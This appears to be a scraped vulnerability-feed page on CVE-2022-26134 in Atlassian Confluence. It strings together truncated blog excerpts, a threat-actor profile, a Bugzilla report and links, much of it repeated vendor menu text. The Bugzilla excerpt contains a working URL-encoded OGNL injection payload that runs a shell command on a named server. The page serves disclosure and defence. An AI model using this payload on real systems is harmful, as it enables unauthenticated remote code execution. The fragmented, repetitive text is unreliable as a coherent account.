On June 2, Volexity reported that over Memorial Day weekend, they identified suspicious activity on two internet-facing servers running Atlassian’s Confluence Server application. After analysis of the compromise, Volexity determined the initial foothold was the result of a remote code execution vulnerability in Confluence Server and Data Center. The details were reported t
Tenable
CVE-2022-26134: Zero-Day Vulnerability in Atlassian Confluence Server and Data Center Exploited in the Wild
blogs_tenable·2022-06-03·CVSS 9.8
[CRITICAL] CVE-2022-26134: Zero-Day Vulnerability in Atlassian Confluence Server and Data Center Exploited in the Wild
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Volexity
Zero-Day Exploitation of Atlassian Confluence
blogs_volexity·2022-06-02·CVSS 9.8
CVE-2022-26134 [CRITICAL] Zero-Day Exploitation of Atlassian Confluence
Threat Intelligence
# Zero-Day Exploitation of Atlassian Confluence
June 2, 2022
Andrew Case, Sean Koessel, Steven Adair, Tom Lancaster, and Volexity Threat Research
UPDATE: On June 3, 2022, Atlassian updated its security advisory with new information regarding a fix for Confluence Server and Data Center to address CVE-2022-26134. Users are encouraged to update immediately to mitigate their risk. Additional observations after publication of this blog post have been shared here, with guidance on how to verify if you have been impacted by unauthorized access.
Over the Memorial Day weekend in the United States, Volexity conducted an incident response investigation involving two Internet-facing web servers belonging to one of its customers that were running Atlassian Confluence Server sof
Volexity
Zero-Day Exploitation of Atlassian Confluence
blogs_volexity·2022-06-02·CVSS 9.8
CVE-2022-26134 [CRITICAL] Zero-Day Exploitation of Atlassian Confluence
Threat Intelligence
## Zero-Day Exploitation of Atlassian Confluence
June 2, 2022
Andrew Case, Sean Koessel, Steven Adair, Tom Lancaster, and Volexity Threat Research
UPDATE: On June 3, 2022, Atlassian updated its security advisory with new information regarding a fix for Confluence Server and Data Center to address CVE-2022-26134. Users are encouraged to update immediately to mitigate their risk. Additional observations after publication of this blog post have been shared here , with guidance on how to verify if you have been impacted by unauthorized access.
Over the Memorial Day weekend in the United States, Volexity conducted an incident response investigation involving two Internet-facing web servers belonging to one of its customers that were running Atlassian Confluence Server s
Greynoiseio
Battling Ransomware One Tag At A Time
blogs_greynoiseio
Battling Ransomware One Tag At A Time
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Recorded Future
Analyze Recent Atlassian Vulnerabilities and Keep Your Infrastructure Protected
blogs_recorded_future·CVSS 9.6
[CRITICAL] Analyze Recent Atlassian Vulnerabilities and Keep Your Infrastructure Protected
## Analyze Recent Atlassian Vulnerabilities and Keep Your Infrastructure Protected
For years, software solutions built by Atlassian have found their way to nearly every organization's software stack. Tools such as JIRA, Confluence, Bamboo, and BitBucket are often seen playing a crucial role in various departments across enterprises.
From managing projects or handling organization-wide documentation, to hosting the very code of a product being developed by the organization, the constant reliance upon and amount of historical data held within these applications have turned them into a lucrative target for attackers, expanding the attack surface in the process.
## Historical Atlassian Vulnerabilities
Traditionally, vulnerabilities within the Atlassian software stack have originated from d
Greynoiseio
Get the latest GreyNoise research on Confluence CVE-2022-26134
blogs_greynoiseio·CVSS 9.8
[CRITICAL] Get the latest GreyNoise research on Confluence CVE-2022-26134
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Recorded Future
Analyze Recent Atlassian Vulnerabilities and Keep Your Infrastructure Protected
blogs_recorded_future·CVSS 9.6
[CRITICAL] Analyze Recent Atlassian Vulnerabilities and Keep Your Infrastructure Protected
# Analyze Recent Atlassian Vulnerabilities and Keep Your Infrastructure Protected
For years, software solutions built by Atlassian have found their way to nearly every organization's software stack. Tools such as JIRA, Confluence, Bamboo, and BitBucket are often seen playing a crucial role in various departments across enterprises.
From managing projects or handling organization-wide documentation, to hosting the very code of a product being developed by the organization, the constant reliance upon and amount of historical data held within these applications have turned them into a lucrative target for attackers, expanding the attack surface in the process.
## Historical Atlassian Vulnerabilities
Traditionally, vulnerabilities within the Atlassian software stack have originated from di
Greynoiseio
Six Ways to Threat Hunt in GreyNoise
blogs_greynoiseio
Six Ways to Threat Hunt in GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Greynoiseio
GreyNoise
blogs_greynoiseio
GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Threat Intel
Lilac Typhoon
threat_intel·CVSS 9.8
CVE-2022-26134 [CRITICAL] Lilac Typhoon
# Threat Actor: Lilac Typhoon
## Description
Lilac Typhoon is a threat actor attributed to China. They have been identified as exploiting the Atlassian Confluence RCE vulnerability CVE-2022-26134, which allows for remote code execution. This vulnerability has been used in cryptojacking campaigns and is included in commercial exploit frameworks. Lilac Typhoon has also been involved in deploying various payloads such as Cobalt Strike, web shells, botnets, coin miners, and ransomware.
Greynoiseio
GreyNoise Intelligence Dives Deep into the Cybersecurity Landscape with its 2022 Mass Exploitation Report
blogs_greynoiseio
GreyNoise Intelligence Dives Deep into the Cybersecurity Landscape with its 2022 Mass Exploitation Report
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Greynoiseio
GreyNoise 2022 Mass Exploitation Report
blogs_greynoiseio
GreyNoise 2022 Mass Exploitation Report
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Greynoiseio
GreyNoise
blogs_greynoiseio
GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Greynoiseio
Spike in Atlassian Exploitation Attempts: Patching is Crucial
blogs_greynoiseio
Spike in Atlassian Exploitation Attempts: Patching is Crucial
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Bugzilla
RCE on confluence.mozilla-community.org (CVE-2022-26134)
bugzilla·2022-06-03·CVSS 9.8
CVE-2022-26134 [CRITICAL] RCE on confluence.mozilla-community.org (CVE-2022-26134)
RCE on confluence.mozilla-community.org (CVE-2022-26134)
Created attachment 9279686
2022-06-03 18_12_10-confluence.mozilla-community.org CVE-2022-26134.png
Steps to reproduce:
The Confluence website can be exploited without authentication.
For example the following request would execute `whoami` and return the results in the `X-Cmd-Response` header:
https://confluence.mozilla-community.org/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
Actual results:
The website executed the shell command and returned results in `X-Cmd-Response` header.
Expecte
http://packetstormsecurity.com/files/167430/Confluence-OGNL-Injection-Remote-Code-Execution.htmlhttp://packetstormsecurity.com/files/167431/Through-The-Wire-CVE-2022-26134-Confluence-Proof-Of-Concept.htmlhttp://packetstormsecurity.com/files/167432/Confluence-OGNL-Injection-Proof-Of-Concept.htmlhttp://packetstormsecurity.com/files/167449/Atlassian-Confluence-Namespace-OGNL-Injection.htmlhttps://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.htmlhttps://jira.atlassian.com/browse/CONFSERVER-79016http://packetstormsecurity.com/files/167430/Confluence-OGNL-Injection-Remote-Code-Execution.htmlhttp://packetstormsecurity.com/files/167431/Through-The-Wire-CVE-2022-26134-Confluence-Proof-Of-Concept.htmlhttp://packetstormsecurity.com/files/167432/Confluence-OGNL-Injection-Proof-Of-Concept.htmlhttp://packetstormsecurity.com/files/167449/Atlassian-Confluence-Namespace-OGNL-Injection.htmlhttps://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.htmlhttps://jira.atlassian.com/browse/CONFSERVER-79016https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-26134
2022-06-03
Published
2022-06-02
Added to CISA KEV
Exploited in the wild